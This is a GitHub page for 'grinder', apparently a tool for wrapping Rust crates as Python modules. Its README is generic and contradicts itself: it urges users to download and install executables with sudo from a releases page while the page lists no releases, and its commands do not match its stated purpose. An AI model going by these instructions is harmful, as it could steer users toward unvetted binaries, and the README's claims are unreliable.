Skip to content
/ grinder Public

πŸ”— Generate automatic PyO3 bindings for Rust crates with Grinder. Create Python wheels and type hints effortlessly, minimizing setup and maximizing productivity.

Notifications You must be signed in to change notification settings

4567ht/grinder

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🐍 grinder - Wrap Rust Crates for Easy Use

πŸš€ Getting Started

Welcome to grinder! This tool helps you easily use Rust libraries in Python. You can quickly wrap Rust crates into Python modules, making it simple to enhance your Python projects.

🌐 Key Features

  • Cross-platform: Works on Windows, macOS, and Linux.
  • Easy Setup: Download and run quickly without complex steps.
  • Automation: Streamline your development process with efficient tools.
  • Python Integration: Seamlessly integrates Rust libraries into Python applications.
  • Parallel Processing: Speed up your tasks with parallel execution.

πŸ“₯ Download & Install

To get started, visit the releases page to download the latest version of grinder:

Download grinder

  1. Click the link above to go to the releases page.
  2. Look for the latest version.
  3. You will see different files for download. Choose the file that matches your operating system.
    • For Windows, look for .exe files.
    • For macOS, look for .dmg files.
    • For Linux, look for .tar.gz or .deb files.
  4. Download the selected file by clicking on it.

Once the download is complete, follow these steps to install:

Windows Installation

  1. Locate the downloaded .exe file.
  2. Double-click the file to run the installer.
  3. Follow the on-screen prompts to complete the installation.

macOS Installation

  1. Find the downloaded .dmg file in your Downloads folder.
  2. Double-click to open it.
  3. Drag and drop the grinder icon to your Applications folder.

Linux Installation

  1. Open your terminal.
  2. Navigate to the directory where you downloaded the file.
  3. For a .tar.gz file, run:
    tar -xvzf grinder.tar.gz
    cd grinder
    sudo cp grinder /usr/local/bin
  4. For a .deb file, run:
    sudo dpkg -i grinder.deb
    sudo apt-get install -f

πŸŽ“ Usage Instructions

Once installed, open your terminal or command prompt.

To verify that grinder is set up correctly, run the following command:

grinder --version

This command will display the version of grinder you just installed. If you see this, you are ready to use it!

Basic Commands

  • Wrap a Rust crate:

    grinder wrap <crate-name>
    

    Replace <crate-name> with the name of the Rust library you wish to use.

  • List available crates:

    grinder list
    
  • Run your Python scripts: You can now write Python scripts that call functions from the Rust libraries you wrapped.

πŸ“ Additional Resources

  • For more detailed instructions, check the documentation.
  • Join the community for support and sharing tips on using grinder effectively.

πŸ› οΈ System Requirements

  • Operating System: Windows 10 or later, macOS 10.12 or later, Linux (Ubuntu recommended).
  • Python Version: Python 3.7 or later is required.
  • RAM: At least 4 GB recommended.
  • Disk Space: Minimum 100 MB required for installation.

For details about supported Rust versions and additional dependencies, please refer to the official documentation.

🌟 Contributing

Contributions are welcome! If you want to help improve grinder, feel free to fork the repository and submit a pull request. Share your ideas and improvements with the community.

Thank you for using grinder! We hope this tool enhances your Python projects effectively. If you face any challenges, do not hesitate to reach out through the issues section of our GitHub page. Happy coding!

About

πŸ”— Generate automatic PyO3 bindings for Rust crates with Grinder. Create Python wheels and type hints effortlessly, minimizing setup and maximizing productivity.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •